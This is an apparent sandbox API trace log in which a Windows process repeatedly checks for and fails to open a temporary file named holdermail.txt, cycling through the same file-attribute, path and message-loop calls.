	[0089.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.195] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.195] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.196] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.196] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.196] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.197] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.197] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.197] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.198] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.198] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.198] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.198] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.198] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.198] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.199] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.199] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.199] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.199] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.199] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.199] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.199] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.201] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.201] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.201] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.201] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.201] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.201] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.202] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.202] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.202] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.291] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.292] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.292] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.293] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.293] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.293] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.293] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.293] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.294] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.294] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.294] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.294] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.294] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.294] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.294] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.295] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.295] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.295] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.295] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.296] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.296] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.296] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.297] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.297] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.297] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.297] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.297] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.297] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.298] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.298] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.298] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.298] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.298] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.298] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.299] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.299] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.299] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.299] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
